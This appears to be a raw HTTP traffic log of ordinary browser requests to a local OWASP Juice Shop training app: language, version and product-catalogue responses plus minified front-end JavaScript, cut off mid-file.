le(r,e,a,t,o,i,l,n,s){r.save(),r.translate(e,a),r.rotate(i),r.scale(t,o),r.arc(0,0,1,l,n,s),r.restore()}(r,e.x,e.y,Math.abs(i-t)*e.ovalScalar,Math.abs(l-o)*e.ovalScalar,Math.PI/10*e.wobble,0,2*Math.PI);else if("star"===e.shape)for(var c=Math.PI/2*3,p=4*e.scalar,y=8*e.scalar,b=e.x,C=e.y,I=5,w=Math.PI/I;I--;)b=e.x+Math.cos(c)*y,C=e.y+Math.sin(c)*y,r.lineTo(b,C),c+=w,b=e.x+Math.cos(c)*p,C=e.y+Math.sin(c)*p,r.lineTo(b,C),c+=w;else r.moveTo(Math.floor(e.x),Math.floor(e.y)),r.lineTo(Math.floor(e.wobbleX),Math.floor(o)),r.lineTo(Math.floor(i),Math.floor(l)),r.lineTo(Math.floor(t),Math.floor(e.wobbleY));return r.closePath(),r.fill(),e.tick<e.totalTicks}(l,g)})).length?n=S.frame(f):h()}),s=h});return{addFettis:function(d){return i=i.concat(d),u},canvas:r,promise:u,reset:function(){n&&S.cancel(n),s&&s()}}}(r,k,s,p,y),h.promise)}function g(c){var p=i||v(c,"disableForReducedMotion",Boolean),y=v(c,"zIndex",Number);if(p&&d)return E(function(w){w()});a&&h?r=h.canvas:a&&!r&&(r=function ie(r){var e=document.createElement("canvas");return e.style.position="fixed",e.style.top="0px",e.style.left="0px",e.style.pointerEvents="none",e.style.zIndex=r,e}(y),document.body.appendChild(r)),t&&!u&&s(r);var b={width:r.width,height:r.height};function C(){if(n){var w={getBoundingClientRect:function(){if(!a)return r.getBoundingClientRect()}};return s(w),void n.postMessage({resize:{width:w.width,height:w.height}})}b.width=b.height=null}function I(){h=null,t&&(o=!1,m.removeEventListener("resize",C)),a&&r&&(document.body.removeChild(r),r=null,u=!1)}return n&&!u&&n.init(r),u=!0,n&&(r.__confetti_initialized=!0),t&&!o&&(o=!0,m.addEventListener("resize",C,!1)),n?n.fire(c,b,I):f(c,b,I)}return g.reset=function(){n&&n.reset(),h&&h.reset()},g}function D(){return R||(R=W(null,{useWorker:!0,resize:!0})),R}T.exports=function(){return D().apply(this,arguments)},T.exports.reset=function(){D().reset()},T.exports.create=W,T.exports.shapeFromPath=function de(r){if(!j)throw new Error("path confetti are not supported in this browser");var e,a;"string"==typeof r?e=r:(e=r.path,a=r.matrix);var t=new Path2D(e),i=document.createElement("canvas").getContext("2d");if(!a){for(var h,f,l=1e3,n=l,s=l,u=0,d=0,g=0;g<l;g+=2)for(var c=0;c<l;c+=2)i.isPointInPath(t,g,c,"nonzero")&&(n=Math.min(n,g),s=Math.min(s,c),u=Math.max(u,g),d=Math.max(d,c));h=u-n,f=d-s;var y=Math.min(10/h,10/f);a=[y,0,0,y,-Math.round(h/2+n)*y,-Math.round(f/2+s)*y]}return{type:"path",path:e,matrix:a}},T.exports.shapeFromText=function fe(r){var e,a=1,t="#000000",o=\'"Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji", "EmojiOne Color", "Android Emoji", "Twemoji Mozilla", "system emoji", sans-serif\';"string"==typeof r?e=r:(e=r.text,a="scalar"in r?r.scalar:a,o="fontFamily"in r?r.fontFamily:o,t="color"in r?r.color:t);var i=10*a,l=i+"px "+o,n=new OffscreenCanvas(i,i),s=n.getContext("2d");s.font=l;var u=s.measureText(e),d=Math.ceil(u.actualBoundingBoxRight+u.actualBoundingBoxLeft),h=Math.ceil(u.actualBoundingBoxAscent+u.actualBoundingBoxDescent),g=u.actualBoundingBoxLeft+2,c=u.actualBoundingBoxAscent+2;d+=4,h+=4,(s=(n=new OffscreenCanvas(d,h)).getContext("2d")).font=l,s.fillStyle=t,s.fillText(e,g,c);var p=1/a;return{type:"bitmap",bitmap:n.transferToImageBitmap(),matrix:[p,0,0,p,-d*p/2,-h*p/2]}}}(function(){return typeof window<"u"?window:typeof self<"u"?self:this||{}}(),P,!1);const H=P.exports,G=()=>{const M=document.createElement("canvas");M.style.position="fixed",M.style.left="0",M.style.right="0",M.style.width="100%",M.style.height="100%",M.style.pointerEvents="none",M.style.zIndex="2000",document.body.appendChild(M);const m=H.create(M,{resize:!0});m({origin:{x:1,y:1},particleCount:225}),m({origin:{y:1,x:0},particleCount:225}),new Promise((m,T)=>{setTimeout(m,6e3)}).then(()=>{M.remove()})}}}]);'
GET http://localhost:3000/rest/admin/application-version HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 20\r\nETag: W/"14-MaUMY3sibizyR/vKaMNxwmHqMLg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"version":"16.0.0"}'
GET http://localhost:3000/rest/languages HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"1308-8EV95V7lUMShnloiieqORKNai/g"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'[{"key":"az_AZ","lang":"Az\xc9\x99rbaycanca","icons":["az"],"shortKey":"AZ","percentage":77.57201646090535,"gauge":"three-quarters"},{"key":"id_ID","lang":"Bahasa Indonesia","icons":["id"],"shortKey":"ID","percentage":29.629629629629626,"gauge":"empty"},{"key":"ca_ES","lang":"Catalan","icons":["es-ct"],"shortKey":"CA","percentage":16.872427983539097,"gauge":"empty"},{"key":"cs_CZ","lang":"\xc4\x8cesky","icons":["cz"],"shortKey":"CS","percentage":80.45267489711934,"gauge":"three-quarters"},{"key":"da_DK","lang":"Dansk","icons":["dk"],"shortKey":"DA","percentage":80.8641975308642,"gauge":"three-quarters"},{"key":"de_DE","lang":"Deutsch","icons":["de"],"shortKey":"DE","percentage":96.50205761316872,"gauge":"full"},{"key":"et_EE","lang":"Eesti","icons":["ee"],"shortKey":"ET","percentage":80.45267489711934,"gauge":"three-quarters"},{"key":"en","icons":["gb","us"],"shortKey":"EN","lang":"English","percentage":100,"gauge":"full"},{"key":"es_ES","lang":"Espa\xc3\xb1ol","icons":["es"],"shortKey":"ES","percentage":80.65843621399176,"gauge":"three-quarters"},{"key":"fr_FR","lang":"Fran\xc3\xa7ais","icons":["fr"],"shortKey":"FR","percentage":81.48148148148148,"gauge":"three-quarters"},{"key":"ga_IE","lang":"Gaeilge","icons":["ie"],"shortKey":"GA","percentage":0.6172839506172839,"gauge":"empty"},{"key":"it_IT","lang":"Italiano","icons":["it"],"shortKey":"IT","percentage":57.20164609053497,"gauge":"half"},{"key":"pl_PL","lang":"J\xc4\x99zyk Polski","icons":["pl"],"shortKey":"PL","percentage":36.831275720164605,"gauge":"quarter"},{"key":"lv_LV","lang":"Latvijas","icons":["lv"],"shortKey":"LV","percentage":30.45267489711934,"gauge":"quarter"},{"key":"hu_HU","lang":"Magyar","icons":["hu"],"shortKey":"HU","percentage":10.493827160493826,"gauge":"empty"},{"key":"nl_NL","lang":"Nederlands","icons":["nl"],"shortKey":"NL","percentage":81.89300411522635,"gauge":"three-quarters"},{"key":"no_NO","lang":"Norsk","icons":["no"],"shortKey":"NO","percentage":73.4567901234568,"gauge":"three-quarters"},{"key":"pt_PT","lang":"Portugu\xc3\xaas","icons":["pt"],"shortKey":"PT","percentage":70.57613168724279,"gauge":"three-quarters"},{"key":"pt_BR","lang":"Portugu\xc3\xaas (Brasil)","icons":["br"],"shortKey":"BR","percentage":82.09876543209876,"gauge":"three-quarters"},{"key":"ru_RU","lang":"P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9","icons":["ru"],"shortKey":"RU","percentage":84.77366255144034,"gauge":"three-quarters"},{"key":"ro_RO","lang":"Rom\xc3\xa2n\xc4\x83","icons":["ro"],"shortKey":"RO","percentage":83.1275720164609,"gauge":"three-quarters"},{"key":"de_CH","lang":"Schwizerd\xc3\xbctsch","icons":["ch"],"shortKey":"CH","percentage":95.26748971193416,"gauge":"full"},{"key":"fi_FI","lang":"Suomalainen","icons":["fi"],"shortKey":"FI","percentage":71.81069958847736,"gauge":"three-quarters"},{"key":"sv_SE","lang":"Svenska","icons":["se"],"shortKey":"SV","percentage":47.73662551440329,"gauge":"quarter"},{"key":"tr_TR","lang":"T\xc3\xbcrk\xc3\xa7e","icons":["tr"],"shortKey":"TR","percentage":84.36213991769547,"gauge":"three-quarters"},{"key":"el_GR","lang":"\xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac","icons":["gr"],"shortKey":"EL","percentage":37.65432098765432,"gauge":"quarter"},{"key":"bg_BG","lang":"\xd0\xb1\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 (\xd0\xb5\xd0\xb7\xd0\xb8\xd0\xba)","icons":["bg"],"shortKey":"BG","percentage":30.45267489711934,"gauge":"quarter"},{"key":"uk_UA","lang":"\xd1\x83\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb8\xd0\xb9","icons":["ua"],"shortKey":"UA","percentage":0.205761316872428,"gauge":"empty"},{"key":"ka_GE","lang":"\xe1\x83\xa5\xe1\x83\x90\xe1\x83\xa0\xe1\x83\x97\xe1\x83\xa3\xe1\x83\x9a\xe1\x83\x98","icons":["ge"],"shortKey":"KA","percentage":30.04115226337449,"gauge":"quarter"},{"key":"he_IL","lang":"\xd7\xa2\xd7\x91\xd7\xa8\xd7\x99\xd7\xaa","icons":["il"],"shortKey":"HE","percentage":55.349794238683124,"gauge":"half"},{"key":"ar_SA","lang":"\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a","icons":["ae","tn"],"shortKey":"AR","percentage":67.6954732510288,"gauge":"half"},{"key":"hi_IN","lang":"\xe0\xa4\xb9\xe0\xa4\xbf\xe0\xa4\x82\xe0\xa4\xa6\xe0\xa5\x80","icons":["in"],"shortKey":"HI","percentage":30.246913580246915,"gauge":"quarter"},{"key":"bn_BD","lang":"\xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe","icons":["bd"],"shortKey":"BD","percentage":0.205761316872428,"gauge":"empty"},{"key":"si_LK","lang":"\xe0\xb7\x83\xe0\xb7\x92\xe0\xb6\x82\xe0\xb7\x84\xe0\xb6\xbd","icons":["si"],"shortKey":"SI","percentage":2.05761316872428,"gauge":"empty"},{"key":"th_TH","lang":"\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2","icons":["th"],"shortKey":"TH","percentage":63.16872427983539,"gauge":"half"},{"key":"my_MM","lang":"\xe1\x80\x99\xe1\x80\xbc\xe1\x80\x94\xe1\x80\xba\xe1\x80\x99\xe1\x80\xac","icons":["mm"],"shortKey":"MY","percentage":17.48971193415638,"gauge":"empty"},{"key":"ko_KR","lang":"\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4","icons":["kr"],"shortKey":"KO","percentage":45.67901234567901,"gauge":"quarter"},{"key":"zh_CN","lang":"\xe4\xb8\xad\xe6\x96\x87","icons":["cn"],"shortKey":"CN","percentage":99.1769547325103,"gauge":"full"},{"key":"ja_JP","lang":"\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e","icons":["jp"],"shortKey":"JA","percentage":84.36213991769547,"gauge":"three-quarters"},{"key":"zh_HK","lang":"\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87","icons":["hk"],"shortKey":"HK","percentage":26.337448559670783,"gauge":"empty"},{"key":"zh_TW","lang":"\xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87","icons":["tw"],"shortKey":"TW","percentage":84.15637860082305,"gauge":"three-quarters"}]'
GET http://localhost:3000/rest/products/search?q= HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"325f-bB6A2ReyRoArta49QDsMgbgK4U0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:58 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"id":1,"name":"Apple Juice (1000ml)","description":"The all-time classic.","price":1.99,"deluxePrice":0.99,"image":"apple_juice.jpg","createdAt":"2024-03-05 22:20:44.839 +00:00","updatedAt":"2024-03-05 22:20:44.839 +00:00","deletedAt":null},{"id":24,"name":"Apple Pomace","description":"Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be <a href=\\"/#recycle\\">sent back to us</a> for recycling.","price":0.89,"deluxePrice":0.89,"image":"apple_pressings.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":6,"name":"Banana Juice (1000ml)","description":"Monkeys love it the most.","price":1.99,"deluxePrice":1.99,"image":"banana_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":42,"name":"Best Juice Shop Salesman Artwork","description":"Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before <em>finally</em> adding his expertise to the Juice Shop marketing team.","price":5000,"deluxePrice":5000,"image":"artwork2.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":30,"name":"Carrot Juice (1000ml)","description":"As the old German saying goes: \\"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\\"","price":2.99,"deluxePrice":2.99,"image":"carrot_juice.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":3,"name":"Eggfruit Juice (500ml)","description":"Now with even more exotic flavour.","price":8.99,"deluxePrice":8.99,"image":"eggfruit_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":25,"name":"Fruit Press","description":"Fruits go in. Juice comes out. Pomace you can send back to us for recycling purposes.","price":89.99,"deluxePrice":89.99,"image":"fruit_press.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":22,"name":"Green Smoothie","description":"Looks poisonous but is actually very good for your health! Made from green cabbage, spinach, kiwi and grass.","price":1.99,"deluxePrice":1.99,"image":"green_smoothie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":41,"name":"Juice Shop \\"Permafrost\\" 2020 Edition","description":"Exact version of <a href=\\"https://github.com/juice-shop/juice-shop/releases/tag/v9.3.1-PERMAFROST\\">OWASP Juice Shop that was archived on 02/02/2020</a> by the GitHub Archive Program and ultimately went into the <a href=\\"https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic\\">Arctic Code Vault</a> on July 8. 2020 where it will be safely stored for at least 1000 years.","price":9999.99,"deluxePrice":9999.99,"image":"permafrost.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":5,"name":"Lemon Juice (500ml)","description":"Sour but full of vitamins.","price":2.99,"deluxePrice":1.99,"image":"lemon_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":33,"name":"Melon Bike (Comeback-Product 2018 Edition)","description":"The wheels of this bicycle are made from real water melons. You might not want to ride it up/down the curb too hard.","price":2999,"deluxePrice":2999,"image":"melon_bike.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":38,"name":"OWASP Juice Shop \\"King of the Hill\\" Facemask","description":"Facemask with compartment for filter from 50% cotton and 50% polyester.","price":13.49,"deluxePrice":13.49,"image":"fan_facemask.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":8,"name":"OWASP Juice Shop CTF Girlie-Shirt","description":"For serious Capture-the-Flag heroines only!","price":22.49,"deluxePrice":22.49,"image":"fan_girlie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":43,"name":"OWASP Juice Shop Card (non-foil)","description":"Mythic rare <small><em>(obviously...)</em></small> card \\"OWASP Juice Shop\\" with three distinctly useful abilities. Alpha printing, mint condition. A true collectors piece to own!","price":1000,"deluxePrice":1000,"image":"card_alpha.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":34,"name":"OWASP Juice Shop Coaster (10pcs)","description":"Our 95mm circle coasters are printed in full color and made from thick, premium coaster board.","price":19.99,"deluxePrice":19.99,"image":"coaster.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":37,"name":"OWASP Juice Shop Holographic Sticker","description":"Die-cut holographic sticker. Stand out from those 08/15-sticker-covered laptops with this shiny beacon of 80\'s coolness!","price":2,"deluxePrice":2,"image":"holo_sticker.png","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":19,"name":"OWASP Juice Shop Hoodie","description":"Mr. Robot-style apparel. But in black. And with logo.","price":49.99,"deluxePrice":49.99,"image":"fan_hoodie.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":13,"name":"OWASP Juice Shop Iron-Ons (16pcs)","description":"Upgrade your clothes with washer safe <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">iron-ons</a> of the OWASP Juice Shop or CTF Extension logo!","price":14.99,"deluxePrice":14.99,"image":"iron-on.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":26,"name":"OWASP Juice Shop Logo (3D-printed)","description":"This rare item was designed and handcrafted in Sweden. This is why it is so incredibly expensive despite its complete lack of purpose.","price":99.99,"deluxePrice":99.99,"image":"3d_keychain.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":14,"name":"OWASP Juice Shop Magnets (16pcs)","description":"Your fridge will be even cooler with these OWASP Juice Shop or CTF Extension logo <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">magnets</a>!","price":15.99,"deluxePrice":15.99,"image":"magnets.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":18,"name":"OWASP Juice Shop Mug","description":"Black mug with regular logo on one side and CTF logo on the other! Your colleagues will envy you!","price":21.99,"deluxePrice":21.99,"image":"fan_mug.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":15,"name":"OWASP Juice Shop Sticker Page","description":"Massive decoration opportunities with these OWASP Juice Shop or CTF Extension <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker pages</a>! Each page has 16 stickers on it.","price":9.99,"deluxePrice":9.99,"image":"sticker_page.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":16,"name":"OWASP Juice Shop Sticker Single","description":"Super high-quality vinyl <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">sticker single</a> with the OWASP Juice Shop or CTF Extension logo! The ultimate laptop decal!","price":4.99,"deluxePrice":4.99,"image":"sticker_single.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":7,"name":"OWASP Juice Shop T-Shirt","description":"Real fans wear it 24/7!","price":22.49,"deluxePrice":22.49,"image":"fan_shirt.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":17,"name":"OWASP Juice Shop Temporary Tattoos (16pcs)","description":"Get one of these <a href=\\"https://www.stickeryou.com/products/owasp-juice-shop/794\\" target=\\"_blank\\">temporary tattoos</a> to proudly wear the OWASP Juice Shop or CTF Extension logo on your skin! If you tweet a photo of yourself with the tattoo, you get a couple of our stickers for free! Please mention <a href=\\"https://twitter.com/owasp_juiceshop\\" target=\\"_blank\\"><code>@owasp_juiceshop</code></a> in your tweet!","price":14.99,"deluxePrice":14.99,"image":"tattoo.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":20,"name":"OWASP Juice Shop-CTF Velcro Patch","description":"4x3.5\\" embroidered patch with velcro backside. The ultimate decal for every tactical bag or backpack!","price":2.92,"deluxePrice":2.92,"image":"velcro-patch.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":9,"name":"OWASP SSL Advanced Forensic Tool (O-Saft)","description":"O-Saft is an easy to use tool to show information about SSL certificate and tests the SSL connection according given list of ciphers and various SSL configurations. <a href=\\"https://www.owasp.org/index.php/O-Saft\\" target=\\"_blank\\">More...</a>","price":0.01,"deluxePrice":0.01,"image":"orange_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":36,"name":"OWASP Snakes and Ladders - Mobile Apps","description":"This amazing mobile app security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1970691216\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"deluxePrice":0.01,"image":"snakes_ladders_m.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":35,"name":"OWASP Snakes and Ladders - Web Applications","description":"This amazing web application security awareness board game is <a href=\\"https://steamcommunity.com/sharedfiles/filedetails/?id=1969196030\\">available for Tabletop Simulator on Steam Workshop</a> now!","price":0.01,"deluxePrice":0.01,"image":"snakes_ladders.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":2,"name":"Orange Juice (1000ml)","description":"Made from oranges hand-picked by Uncle Dittmeyer.","price":2.99,"deluxePrice":2.49,"image":"orange_juice.jpg","createdAt":"2024-03-05 22:20:44.839 +00:00","updatedAt":"2024-03-05 22:20:44.839 +00:00","deletedAt":null},{"id":32,"name":"Pwning OWASP Juice Shop","description":"<em>The official Companion Guide</em> by Bj\xc3\xb6rn Kimminich available <a href=\\"https://leanpub.com/juice-shop\\">for free on LeanPub</a> and also <a href=\\"https://pwning.owasp-juice.shop\\">readable online</a>!","price":5.99,"deluxePrice":5.99,"image":"cover_small.jpg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":23,"name":"Quince Juice (1000ml)","description":"Juice of the <em>Cydonia oblonga</em> fruit. Not exactly sweet but rich in Vitamin C.","price":4.99,"deluxePrice":4.99,"image":"quince.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":4,"name":"Raspberry Juice (1000ml)","description":"Made from blended Raspberry Pi, water and sugar.","price":4.99,"deluxePrice":4.99,"image":"raspberry_juice.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null},{"id":29,"name":"Strawberry Juice (500ml)","description":"Sweet & tasty!","price":3.99,"deluxePrice":3.99,"image":"strawberry_juice.jpeg","createdAt":"2024-03-05 22:20:44.841 +00:00","updatedAt":"2024-03-05 22:20:44.841 +00:00","deletedAt":null},{"id":21,"name":"Woodruff Syrup \\"Forest Master X-Treme\\"","description":"Harvested and manufactured in the Black Forest, Germany. Can cause hyperactive behavior in children. Can cause permanent green tongue when consumed undiluted.","price":6.99,"deluxePrice":6.99,"image":"woodruff_syrup.jpg","createdAt":"2024-03-05 22:20:44.840 +00:00","updatedAt":"2024-03-05 22:20:44.840 +00:00","deletedAt":null}]}'
GET http://localhost:3000/runtime.js HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"ce1-18df12a3c77"\r\nContent-Type: application/javascript; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'(()=>{"use strict";var e,v={},g={};function r(e){var a=g[e];if(void 0!==a)return a.exports;var t=g[e]={id:e,loaded:!1,exports:{}};return v[e].call(t.exports,t,t.exports,r),t.loaded=!0,t.exports}r.m=v,r.amdO={},e=[],r.O=(a,t,o,i)=>{if(!t){var n=1/0;for(f=0;f<e.length;f++){for(var[t,o,i]=e[f],u=!0,d=0;d<t.length;d++)(!1&i||n>=i)&&Object.keys(r.O).every(b=>r.O[b](t[d]))?t.splice(d--,1):(u=!1,i<n&&(n=i));if(u){e.splice(f--,1);var s=o();void 0!==s&&(a=s)}}return a}i=i||0;for(var f=e.length;f>0&&e[f-1][2]>i;f--)e[f]=e[f-1];e[f]=[t,o,i]},r.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return r.d(a,{a}),a},(()=>{var a,e=Object.getPrototypeOf?t=>Object.getPrototypeOf(t):t=>t.__proto__;r.t=function(t,o){if(1&o&&(t=this(t)),8&o||"object"==typeof t&&t&&(4&o&&t.__esModule||16&o&&"function"==typeof t.then))return t;var i=Object.create(null);r.r(i);var f={};a=a||[null,e({}),e([]),e(e)];for(var n=2&o&&t;"object"==typeof n&&!~a.indexOf(n);n=e(n))Object.getOwnPropertyNames(n).forEach(u=>f[u]=()=>t[u]);return f.default=()=>t,r.d(i,f),i}})(),r.d=(e,a)=>{for(var t in a)r.o(a,t)&&!r.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:a[t]})},r.f={},r.e=e=>Promise.all(Object.keys(r.f).reduce((a,t)=>(r.f[t](e,a),a),[])),r.u=e=>(592===e?"common":e)+".js",r.miniCssF=e=>{},r.o=(e,a)=>Object.prototype.hasOwnProperty.call(e,a),(()=>{var e={},a="frontend:";r.l=(t,o,i,f)=>{if(e[t])e[t].push(o);else{var n,u;if(void 0!==i)for(var d=document.getElementsByTagName("script"),s=0;s<d.length;s++){var 